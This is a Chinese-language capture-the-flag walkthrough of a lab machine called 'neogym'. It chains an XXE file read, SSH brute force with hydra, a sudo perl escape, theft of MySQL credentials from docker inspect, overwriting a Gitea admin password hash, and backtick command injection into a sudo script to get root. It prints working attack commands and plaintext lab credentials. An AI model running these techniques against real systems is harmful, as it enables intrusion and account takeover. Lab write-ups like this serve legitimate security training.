信息收集
服务探测
1 | ❯ sudo arp-scan -l |
编辑hosts,添加域名
1 | ❯ sudo vim /etc/hosts |
扫一下目录
1 | ❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt -b 403,404 |
分别访问下
XXE漏洞
发现在contact.php
点击提交会向process.php
发POST包
其中process.php
存在XXE漏洞,虽然没有回显,但可以看到确实执行成功了
1 | ❯ tail -f /var/log/nginx/access.log |
后来我看到响应中name
会有回显,那我尝试利用php过滤器
读一下源代码
1 | <?php |
源代码就是处理HTTP POST请求接受XML数据,没啥有用的信息
我试着读取了/etc/passwd
1 | root:x:0:0:root:/root:/bin/bash |
尝试爆破得到一个登录凭证james:manchesterunited
1 | ❯ hydra -L name -P /usr/share/wordlists/rockyou.txt ssh://$ip -I |
用户提权
ssh连接一下
1 | ❯ ssh james@$ip |
可以利用sudo权限进行perl提权至kyle
用户
然而kyle
还有sudo权限,先读个user
1 | james@neogym:~$ sudo -u kyle /usr/bin/perl -e 'exec "/bin/bash";' |
不过这个脚本没法读
我尝试执行一下
发现大多是docker的封装命令
同时执行完后会收到邮件
1 | kyle@neogym:/opt$ sudo /usr/bin/python3 /opt/scripts/systemcheck.py -a |
此外我还发现在steve
家目录中有个凭证
不过我尝试切换用户发现密码不对,尝试利用此登录gitea
无果
1 | kyle@neogym:/home/steve$ cat .bash_history |
后来再次信息收集的发现还存在一个子域名admin.neogym.thl
可以读数据库配置文件
1 | kyle@neogym://var/www/html/admin$ ls -la |
编辑一下hosts,添加新域名
利用上面的凭证登录一下
不过这也没啥用啊,可以添加合作伙伴,但是出错
到这我感觉完全是方向走错了
越来越向前了
Root提权
换个方向,本地不是存在docker吗
还有脚本可以显示容器的详细信息
看到有config
信息,得到mysql
的登录凭证
1 | kyle@neogym:~$ sudo /usr/bin/python3 /opt/scripts/systemcheck.py container-inspect 23f46d29b6e5 |
利用fscan
扫一下docker中的服务
得到mysql服务开放在172.18.0.3:3306
1 | kyle@neogym:/tmp$ ./fscan -h 172.18.0.0/24 |
连接一下docker中mysql
1 | kyle@neogym:/tmp$ mysql -h 172.18.0.3 -ugitea -prIS2i8FdX89jHqkyWy4 |
从中得到 administrador
的密码hash
丢到在线平台爆破一下,出不来
既然没法爆破,那咱们直接把hash改成自己想要的不就可以了
修改其中passwd
passwd_hash_algo
字段
网上生成一个hash
Bcrypt Encrypt - Bcrypt Hash Generator - Online - Browserling Web Developer Tools
1 | MySQL [gitea]> update user set passwd="$2a$10$cSeNaAidmhzMwlVoW56wyeIeD78VDDx0Nq/zcE91a.mC86w4q0DxC" where id=1; |
登录进去有个仓库,发现这个script
不就是sudo执行的那个吗
这下可以看到源码了
发现源码中的container_inspect
中第二个参数可以进行命令执行
就类似于拼接成docker inspect $(id)
,bash会率先执行$( )
中的命令
不过在此shell环境中命令没有回显
给bash加个suid权限
1 | kyle@neogym:~$ sudo /usr/bin/python3 /opt/scripts/systemcheck.py container-inspect '`id`' |